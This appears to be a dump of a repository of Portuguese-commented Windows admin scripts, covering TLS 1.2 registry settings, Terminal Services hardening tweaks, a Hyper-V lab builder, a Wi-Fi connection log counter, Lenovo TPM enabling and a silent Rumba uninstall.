'HKLM:\SOFTWARE\WOW6432Node\Microsoft\.NETFramework\v4.0.30319' -Force | Out-Null 4 | New-ItemProperty -path 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\.NETFramework\v4.0.30319' -name 'SystemDefaultTlsVersions' -value '1' -PropertyType 'DWord' -Force | Out-Null 5 | New-ItemProperty -path 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\.NETFramework\v4.0.30319' -name 'SchUseStrongCrypto' -value '1' -PropertyType 'DWord' -Force | Out-Null 6 | New-Item 'HKLM:\SOFTWARE\Microsoft\.NETFramework\v4.0.30319' -Force | Out-Null 7 | New-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\.NETFramework\v4.0.30319' -name 'SystemDefaultTlsVersions' -value '1' -PropertyType 'DWord' -Force | Out-Null 8 | New-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\.NETFramework\v4.0.30319' -name 'SchUseStrongCrypto' -value '1' -PropertyType 'DWord' -Force | Out-Null 9 | New-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server' -Force | Out-Null 10 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server' -name 'Enabled' -value '1' -PropertyType 'DWord' -Force | Out-Null 11 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force | Out-Null 12 | New-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client' -Force | Out-Null 13 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client' -name 'Enabled' -value '1' -PropertyType 'DWord' -Force | Out-Null 14 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force | Out-Null 15 | Write-Host 'TLS 1.2 has been enabled.' 16 | -------------------------------------------------------------------------------- /HabilitarHerancaDePasta: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Habilitar herança de pasta # 3 | ################################################# 4 | 5 | takeown /f directory_name /r /d y 6 | -------------------------------------------------------------------------------- /HabilitarTLS-Win7eWin8: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Habilitar TLS 1.2 WIN7 E 8 # 3 | ################################################# 4 | 5 | reg add HKLM\SYSTEM\CurrentControlSet\Services\RasMan\PPP\EAP\13 /v TlsVersion /t REG_DWORD /d 0xfc0 6 | reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp" /v DefaultSecureProtocols /t REG_DWORD /d 0xaa0 7 | if %PROCESSOR_ARCHITECTURE% EQU AMD64 reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp" /v DefaultSecureProtocols /t REG_DWORD /d 0xaa0 8 | -------------------------------------------------------------------------------- /HardeningTS: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Segurança de TS # 3 | ################################################# 4 | 5 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 6 | reg.exe add "HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /v FdisableClip /t REG_DWORD /d 0 /f 7 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v PasswordExpiryWarning /t REG_DWORD /d 7 /f 8 | reg.exe add "HKLM\System\CurrentControlSet\Control\Lsa" /v NoLMHash /t REG_DWORD /d 1 /f 9 | reg.exe add "HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d "" /f 10 | reg.exe add "HKLM\System\CurrentControlSet\Control\LSA" /v RestrictAnonymous /t REG_DWORD /d 1 /f 11 | reg.exe add "HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /v DisablePasswordSaving /t REG_DWORD /d 1 /f 12 | reg.exe add "HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoDisconnect /t REG_DWORD /d 15 /f 13 | reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f 14 | reg.exe add "HKLM\System\CurrentControlSet\Control\LSA" /v RestrictAnonymousSAM /t REG_DWORD /d 1 /f 15 | reg.exe add "HKLM\System\CurrentControlSet\Services\Cdrom" /v AutoRun /t REG_DWORD /d 0 /f 16 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 0 /f 17 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f 18 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /t REG_DWORD /d 0 /f 19 | reg.exe add "HKLM\System\CurrentControlSet\Control\Lsa" /v ForceGuest /t REG_DWORD /d 0 /f 20 | reg.exe add "HKLM\System\CurrentControlSet\Control\Session Manager\Kernel" /v ObCaseInsensitive /t REG_DWORD /d 1 /f 21 | reg.exe add "HKLM\System\CurrentControlSet\Services\LDAP" /v LDAPClientIntegrity /t REG_DWORD /d 1 /f 22 | reg.exe add "HKLM\System\CurrentControlSet\Services\Netlogon\Parameters" /v DisablePasswordChange /t REG_DWORD /d 0 /f 23 | reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideShutdownScripts /t REG_DWORD /d 0 /f 24 | reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideStartupScripts /t REG_DWORD /d 0 /f 25 | reg.exe add "HKLM\System\CurrentControlSet\Control\Lsa" /v FullPrivilegeAuditing /t REG_BINARY /d 1 /f 26 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ScRemoveOption /t REG_SZ /d 1 /f 27 | reg.exe add "HKLM\System\CurrentControlSet\Control\Lsa" /v SecureBoot /t REG_DWORD /d 1 /f 28 | reg.exe add "HKLM\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f 29 | reg.exe add "HKLM\System\CurrentControlSet\Services\Netlogon\Parameters" /v SealSecureChannel /t REG_DWORD /d 1 /f 30 | reg.exe add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v TSUserEnabled /t REG_DWORD /d 0 /f 31 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SetCommand /t REG_DWORD /d 0 /f 32 | reg.exe add "HKLM\System\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v EnablePlainTextPassword /t REG_DWORD /d 0 /f 33 | reg.exe add "HKLM\System\CurrentControlSet\Control\Session Manager\Memory Management" /v ClearPageFileAtShutdown /t REG_DWORD /d 0 /f 34 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DontDisplayLastUserName /t REG_SZ /d 1 /f 35 | reg.exe add "HKLM\System\CurrentControlSet\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f 36 | reg.exe add "HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters" /v RestrictNullSessAccess /t REG_DWORD /d 1 /f 37 | reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_SZ /d 0 /f 38 | reg.exe add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /v fPromptforPassword /t REG_DWORD /d 1 /f 39 | sc.exe config SSDPSRV start= disabled 40 | sc.exe config "Fax Discovery" start= disabled 41 | -------------------------------------------------------------------------------- /Hyper-V-Lab: -------------------------------------------------------------------------------- 1 | ########################################################## 2 | # # 3 | # Script de criação de ambiente de laboratório - HTBRAZ # 4 | # Criador: Eduardo Popovici # 5 | # F: 55+ (00) 0-0000-0000 # 6 | # # 7 | ########################################################## 8 | 9 | # Obs. Os scripts de Powershell são bloqueados por padrão no Windows use o comando Set-ExecutionPolicy Unrestricted para desbloquear antes de executar este script 10 | # Set-ExecutionPolicy Unrestricted 11 | 12 | #Importar módulo Hyper-V 13 | Import-Module Hyper-V 14 | 15 | # Variaveis 16 | # $vm = "NEWVMNAME" 17 | # $SMBShare = "CSV share name" 18 | $CPU1 = 1 19 | $CPU2 = 2 20 | $MEM1 = 1GB 21 | $MEM2 = 2GB 22 | $VlanID1 = 20 23 | $VlanID2 = 30 24 | $VMHD1 = 120GB 25 | $VMHD2 = 80GB 26 | $VMHD3 = 200GB 27 | $Wifi = Get-NetAdapter -Name Wi-Fi 28 | $eth0 = Get-NetAdapter -Name Ethernet 29 | 30 | # Listar os comandos do Hyper-V pelo Powershell - Se sentir dúvidas com os comandos, verifique-os com o Get-Command 31 | # Get-Command –Module Hyper-V 32 | 33 | # Criar Virtual Switch 34 | # New-VMSwitch -Name INTERNET -NetAdapterName $ethernet.Name -AllowManagementOS $true -Notes 'Acesso real, internet e rede LAN usando o cabo' 35 | # New-VMSwitch -Name INTERNET -NetAdapterName $wifi.Name -AllowManagementOS $true -Notes 'Acesso real, internet e rede LAN usando o wifi' 36 | New-VMSwitch -Name HTB01 -SwitchType Private -Notes 'Interno, uso das máquinas do ambiente 01' 37 | New-VMSwitch -Name CLUSTER -SwitchType Private -Notes 'Interno, uso das máquinas do cluster' 38 | New-VMSwitch -Name RELCONF -SwitchType Private -Notes 'Por este Switch montaremos a relação de confiança entre domínios' 39 | New-VMSwitch -Name VPN -SwitchType Private -Notes 'Por este switch vamos montar as conexões de VPN do ambiente' 40 | New-VMSwitch -Name SBRUBLES01 -SwitchType Private -Notes 'Interno, uso das máquinas do ambiente 02' 41 | 42 | # Cria diretório VM-LAB 43 | mkdir c:\VM-LAB 44 | # Cria diretório de imagens 45 | mkdir c:\VM-LAB\ISO 46 | # Criar diretório de discos de Dados 47 | mkdir c:\VM-LAB\Dados 48 | 49 | ################################################ 50 | # # 51 | # Ambiente 01 - MCSA S/A # 52 | # # 53 | ################################################ 54 | 55 | # AD primário mcsa.local 56 | 57 | New-VM –Name SRV01-MCSA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV01-MCSA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 58 | Add-VMDvdDrive -VMName SRV01-MCSA 59 | Add-VMNetworkAdapter -VMName SRV01-MCSA 60 | New-VHD -Path c:\VM-LAB\Dados\DADOS01.vhdx -SizeBytes $VMHD2 61 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS01.vhdx 62 | New-VHD -Path c:\VM-LAB\Dados\DADOS02.vhdx -SizeBytes $VMHD2 63 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS02.vhdx 64 | New-VHD -Path c:\VM-LAB\Dados\DADOS03.vhdx -SizeBytes $VMHD2 65 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS03.vhdx 66 | New-VHD -Path c:\VM-LAB\Dados\DADOS04.vhdx -SizeBytes $VMHD2 67 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS04.vhdx 68 | 69 | # AD réplica mcsa.local 70 | 71 | New-VM –Name SRV02-MCSA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV02-MCSA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 72 | Add-VMDvdDrive -VMName SRV02-MCSA 73 | Add-VMNetworkAdapter -VMName SRV02-MCSA 74 | New-VHD -Path c:\VM-LAB\Dados\DADOS05.vhdx -SizeBytes $VMHD2 75 | Add-VMHardDiskDrive -VMName SRV02-MCSA -path c:\VM-LAB\Dados\DADOS05.vhdx 76 | New-VHD -Path c:\VM-LAB\Dados\DADOS06.vhdx -SizeBytes $VMHD2 77 | Add-VMHardDiskDrive -VMName SRV02-MCSA -path c:\VM-LAB\Dados\DADOS06.vhdx 78 | 79 | # Criação das estações clientes de MCSA 80 | 81 | New-VM –Name CLI01-MCSA -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLIB01.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 82 | Add-VMDvdDrive -VMName CLI01-MCSA 83 | 84 | New-VM –Name CLI02-MCSA -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLIB02.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 85 | Add-VMDvdDrive -VMName CLI02-MCSA 86 | 87 | New-VM –Name CLI03-MCSA -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLIB03.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 88 | Add-VMDvdDrive -VMName CLI03-MCSA 89 | 90 | # AD filho - sucursal colatina | colatina.mcsa.local 91 | 92 | New-VM –Name SRV03-COLATINA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV03-COLATINA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 93 | Add-VMNetworkAdapter -VMName SRV03-COLATINA 94 | Add-VMDvdDrive -VMName SRV03-COLATINA 95 | 96 | # RODC filial | colatina.mcsa.local 97 | 98 | New-VM –Name SRV04-COLATINA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV04-COLATINA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 99 | Add-VMNetworkAdapter -VMName SRV04-COLATINA 100 | Add-VMDvdDrive -VMName SRV04-COLATINA 101 | 102 | ################################################ 103 | # # 104 | # Ambiente 02 - Sbrubles S/A # 105 | # # 106 | ################################################ 107 | 108 | # AD primário | sbrubles.local 109 | 110 | New-VM –Name SRV05-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV05-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 111 | Add-VMDvdDrive -VMName SRV05-SBRUBLES 112 | Add-VMNetworkAdapter -VMName SRV05-SBRUBLES 113 | 114 | # Ambiente geral 115 | 116 | New-VM –Name SRV06-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV06-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 117 | Add-VMDvdDrive -VMName SRV06-SBRUBLES 118 | Add-VMNetworkAdapter -VMName SRV06-SBRUBLES 119 | 120 | New-VM –Name SRV07-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV07-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 121 | Add-VMDvdDrive -VMName SRV07-SBRUBLES 122 | Add-VMNetworkAdapter -VMName SRV07-SBRUBLES 123 | 124 | # Ambiente em Cluster 125 | 126 | New-VM –Name SRV08-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV08-SBRUBLES-CLUSTER.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU2 127 | Add-VMDvdDrive -VMName SRV08-SBRUBLES-CLUSTER 128 | Add-VMNetworkAdapter -VMName SRV08-SBRUBLES-CLUSTER 129 | 130 | New-VM –Name SRV09-SBRUBLES-CLUSTER -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV09-SBRUBLES-CLUSTER.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU2 131 | Add-VMDvdDrive -VMName SRV09-SBRUBLES-CLUSTER 132 | Add-VMNetworkAdapter -VMName SRV09-SBRUBLES-CLUSTER 133 | 134 | # Criação das estações clientes de SBRUBLES 135 | 136 | New-VM –Name CLI01-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLI01-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 137 | Add-VMDvdDrive -VMName CLIB01-SBRUBLES 138 | 139 | New-VM –Name CLI02-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLI02-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 140 | Add-VMDvdDrive -VMName CLI02-SBRUBLES 141 | 142 | New-VM –Name CLI03-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLI03-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 143 | Add-VMDvdDrive -VMName CLI03-SBRUBLES 144 | -------------------------------------------------------------------------------- /Identifica-conex-wifi: -------------------------------------------------------------------------------- 1 | # Crie uma pasta chamda WIFI-POLO em C:\Users\usuario\AppData\Local\ 2 | # O caminho deve ficar neste formato C:\Users\anaedua\AppData\Local\WIFI-POLO\ onde anaedua aqui é o usuário ativo 3 | # Salve este script dentro dessa pasta WIFI-POLO 4 | 5 | # Definindo o ID do log de eventos para conexões WLAN (Microsoft-Windows-WLAN-AutoConfig/Operational) 6 | $logName = "Microsoft-Windows-WLAN-AutoConfig/Operational" 7 | 8 | # Definindo o ID do evento para conexões bem-sucedidas (8001 e 8002 para conexões) 9 | # Use o @ e valores entre parênteses para declarar mais de um valor para a mesma variável 10 | $eventIds = @(8001, 8002) 11 | 12 | # Buscando eventos de conexão WLAN no event viewer 13 | $events = Get-WinEvent -LogName $logName | Where-Object { $eventIds -contains $_.Id } 14 | 15 | # Processando cada evento encontrado 16 | foreach ($event in $events) { 17 | # Extraindo informações do XML do evento 18 | $eventXml = [xml]$event.ToXml() 19 | 20 | # Extraindo detalhes específicos do evento 21 | $ssid = $eventXml.Event.EventData.Data | Where-Object { $_.Name -eq "SSID" } | Select-Object -ExpandProperty "#text" 22 | $interfaceId = $eventXml.Event.EventData.Data | Where-Object { $_.Name -eq "InterfaceGuid" } | Select-Object -ExpandProperty "#text" 23 | $timeCreated = $event.TimeCreated 24 | 25 | # Exibindo as informações e redirecionando para um arquivo 26 | $output = "SSID: $ssid`r`nInterface ID: $interfaceId`r`nTime Created: $timeCreated`r`n---------------------------------" 27 | Add-Content -Path "C:\Users\anaedua\AppData\Local\WIFI-POLO\COLETA-DE-INTERFACE-02.txt" -Value $output 28 | } 29 | 30 | # Filtrando eventos do mês corrente 31 | $currentTime = Get-Date 32 | $eventsCurrentMonth = $events | Where-Object { $_.TimeCreated.Month -eq $currentTime.Month -and $_.TimeCreated.Year -eq $currentTime.Year } 33 | 34 | # Contabilizando acessos por SSID 35 | $ssidCounts = @{} 36 | foreach ($event in $eventsCurrentMonth) { 37 | # Extraindo o SSID do evento 38 | $eventXml = [xml]$event.ToXml() 39 | $ssid = $eventXml.Event.EventData.Data | Where-Object { $_.Name -eq "SSID" } | Select-Object -ExpandProperty "#text" 40 | 41 | # Incrementando a contagem para o SSID 42 | if (-not $ssidCounts.ContainsKey($ssid)) { 43 | $ssidCounts[$ssid] = 1 44 | } 45 | else { 46 | $ssidCounts[$ssid]++ 47 | } 48 | } 49 | 50 | # Construindo a saída para o arquivo de log 51 | $summary = "`r`nResumo de Acessos do Mês Atual (`r`n" 52 | foreach ($ssid in $ssidCounts.Keys) { 53 | $summary += "SSID: $ssid - Acessos: $($ssidCounts[$ssid])`r`n" 54 | } 55 | $summary += "---------------------------------`r`n" 56 | 57 | # Adicionando o resumo ao arquivo de log 58 | Add-Content -Path "C:\Users\anaedua\AppData\Local\WIFI-POLO\COLETA-DE-INTERFACE-02.txt" -Value $summary 59 | 60 | # Certifique-se de que a interface do Windows Forms está disponível 61 | Add-Type -AssemblyName System.Windows.Forms 62 | 63 | # Função para exibir uma caixa de mensagem 64 | function Show-MessageBox { 65 | param ( 66 | [string]$Message, 67 | [string]$Title = "Informação" 68 | ) 69 | 70 | [System.Windows.Forms.MessageBox]::Show($Message, $Title, [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information) 71 | } 72 | 73 | # Construindo a mensagem para a caixa de mensagem 74 | $message = "Resumo de Acessos do Mês Atual:`r`n`r`n" 75 | foreach ($ssid in $ssidCounts.Keys) { 76 | $message += "SSID: $ssid - Acessos: $($ssidCounts[$ssid])`r`n" 77 | } 78 | 79 | # Exibindo a mensagem 80 | Show-MessageBox -Message $message -Title "Resumo de Conexões WLAN" 81 | -------------------------------------------------------------------------------- /IdentificarIdleTime: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Validar IDLE Time # 3 | ################################################# 4 | 5 | systeminfo | find /i "Boot Time" 6 | -------------------------------------------------------------------------------- /InformacoesBIOS: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Informações sobre a BIOS do computador # 3 | ################################################# 4 | 5 | Get-WmiObject -Class Win32_BIOS -ComputerName . 6 | -------------------------------------------------------------------------------- /InformacoesDeBlocoDeDisco: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Informações de bloco de disco # 3 | ################################################# 4 | 5 | Get-Disk 6 | fsutil fsinfo ntfsinfo D: 7 | -------------------------------------------------------------------------------- /InformacoesDeImpressoras: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Informações de Impressoras # 3 | ################################################# 4 | 5 | Get-Printer -Name * | Get-PrintConfiguration 6 | -------------------------------------------------------------------------------- /InstalarConteiner: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Install conteiner # 3 | ################################################# 4 | 5 | Docker search Microsoft 6 | Install-WindowsFeature Containers 7 | Restart-Computer -Force 8 | Install-Module -Name DockerMsftProvider -Force 9 | Install-Package -Name docker -ProviderName DockerMsftProvider -Force 10 | Restart-Computer -Force 11 | -------------------------------------------------------------------------------- /InstallTelnetClient: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Instala o Telnet Client # 3 | ################################################# 4 | 5 | Install-WindowsFeature -Name "Telnet-Client" 6 | -------------------------------------------------------------------------------- /LenovoCustomSCCM: -------------------------------------------------------------------------------- 1 | $Model = gwmi -Class Win32_ComputerSystemProduct 2 | 3 | ## Laptop 4 | if ($Model.version.TrimEnd() -like "*ThinkPad*") 5 | { 6 | #enable TPM 7 | 8 | 9 | $TMP = Get-WmiObject -Class Lenovo_BiosSetting -Namespace root\wmi -Filter "CurrentSetting like 'Security%'" 10 | 11 | if( $TMP.CurrentSetting -like "*Inactive*") 12 | { 13 | (gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("SecurityChip,Active") 14 | } 15 | else 16 | { 17 | (gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("SecurityChip,Enable") 18 | } 19 | 20 | #save settings 21 | (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings('') 22 | 23 | } 24 | 25 | ## Desktop 26 | if ($Model.version.TrimEnd() -like "*ThinkCentre*") 27 | { 28 | #enable TPM 29 | (gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("TCG Security Feature,Active") 30 | (gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("Security Chip 2.0,Active") 31 | 32 | #save settings 33 | (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings('') 34 | } 35 | 36 | 37 | #(Get-WMIObject -Namespace root/cimv2/Security/MicrosoftTPM -class Win32_TPM).SetPhysicalPresenceRequest(10) 38 | 39 | #(gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("ATpModuleActivation,Enable") 40 | #(gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("PhysicalPresenceForTpmClear,Enable") 41 | #(gwmi -class Lenovo_SetBiosSetting –namespace root\wmi).SetBiosSetting("PhysicalPresenceForTpmProvision,Enable") 42 | #(gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings() 43 | 44 | #Get-Tpm 45 | 46 | #Get-WmiObject -Class Win32_TPM -Namespace root/cimv2/Security/MicrosoftTPM 47 | 48 | 49 | ##gwmi -class Lenovo_BiosSetting -namespace root\wmi | ForEach-Object {if ($_.CurrentSetting -ne "") {Write-Host $_.CurrentSetting.replace(","," = ")}} 50 | -------------------------------------------------------------------------------- /LimparChavesDeRegistroRumba-Microfocus: -------------------------------------------------------------------------------- 1 | net stop NMServiceManager 2 | net stop NMServiceManager 3 | 4 | 5 | msiexec /quiet /uninstall 6B2F5990-7480-4A41-A149-F2A8F4CF38B4 6 | msiexec /quiet /uninstall 89671C10-0AA6-4FB7-9C60-D668554F4910 7 | msiexec /quiet /uninstall 919C2F70-0993-4BBB-90FD-BE735198F353 8 | msiexec /quiet /uninstall 0BF2CFD0-0F3B-4ED8-8820-079BFEF9810F 9 | msiexec /quiet /uninstall 4B4752B1-C8EB-4C19-B76D-6E9DA05609F3 10 | msiexec /quiet /uninstall 3FD6EBF1-19F7-4982-ADA2-594B6E0A8CA5 11 | msiexec /quiet /uninstall 123BA923-42DB-4082-8729-1D80689DB4CA 12 | msiexec /quiet /uninstall 13280383-BA45-461C-8CD5-5C39C103DBF9 13 | msiexec /quiet /uninstall 2013C3A6-8957-446B-AECE-87471E9105AA 14 | msiexec /quiet /uninstall FB211AA6-1295-4AAD-9390-9BFC84C20EA8 15 | msiexec /quiet /uninstall 691EEDA7-5D13-45F9-B2DC-5331F50170E4 16 | msiexec /quiet /uninstall D02BFD4A-0603-40D7-96AD-76064095EB61 17 | msiexec /quiet /uninstall 6773E18D-723C-4D4C-A45B-C81CD5F00FD7 18 | msiexec /quiet /uninstall FFDAB6AD-93ED-4150-91AB-1332E0E3661A 19 | msiexec /quiet /uninstall 76E8EFBD-2930-451B-8534-B8690BE88FD2 20 | msiexec /quiet /uninstall BAB5DF7F-A3EA-4644-A6EC-AD11674805A5 21 | msiexec /quiet /uninstall 74B1481B-D474-4F16-8EA6-E18090667A7D 22 | msiexec /quiet /uninstall CF695844-7E0D-4749-8B75-1A8C81C0E4C0 23 | 24 | msiexec /quiet /uninstall 6B2F5990-7480-4A41-A149-F2A8F4CF38B4 25 | msiexec /quiet /uninstall 89671C10-0AA6-4FB7-9C60-D668554F4910 26 | msiexec /quiet /uninstall 919C2F70-0993-4BBB-90FD-BE735198F353 27 | msiexec /quiet /uninstall 0BF2CFD0-0F3B-4ED8-8820-079BFEF9810F 28 | msiexec /quiet /uninstall 4B4752B1-C8EB-4C19-B76D-6E9DA05609F3 29 | msiexec /quiet /uninstall 3FD6EBF1-19F7-4982-ADA2-594B6E0A8CA5 30 | msiexec /quiet /uninstall 123BA923-42DB-4082-8729-1D80689DB4CA 31 | msiexec /quiet /uninstall 13280383-BA45-461C-8CD5-5C39C103DBF9 32 | msiexec /quiet /uninstall 2013C3A6-8957-446B-AECE-87471E9105AA 33 | msiexec /quiet /uninstall FB211AA6-1295-4AAD-9390-9BFC84C20EA8 34 | msiexec /quiet /uninstall 691EEDA7-5D13-45F9-B2DC-5331F50170E4 35 | msiexec /quiet /uninstall D02BFD4A-0603-40D7-96AD-76064095EB61 36 | msiexec /quiet /uninstall 6773E18D-723C-4D4C-A45B-C81CD5F00FD7 37 | msiexec /quiet /uninstall FFDAB6AD-93ED-4150-91AB-1332E0E3661A 38 | msiexec /quiet /uninstall 76E8EFBD-2930-451B-8534-B8690BE88FD2 39 | msiexec /quiet /uninstall BAB5DF7F-A3EA-4644-A6EC-AD11674805A5 40 | msiexec /quiet /uninstall 74B1481B-D474-4F16-8EA6-E18090667A7D 41 | msiexec /quiet /uninstall CF695844-7E0D-4749-8B75-1A8C81C0E4C0 42 | 43 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "FTP Wy (TrueType)" /f 44 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "FTP Wy Bold (TrueType)" /f 45 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "MFSansSerifMonoMedium (TrueType)" /f 46 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Ansi BT (TrueType)" /f 47 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Left BT (TrueType)" /f 48 | 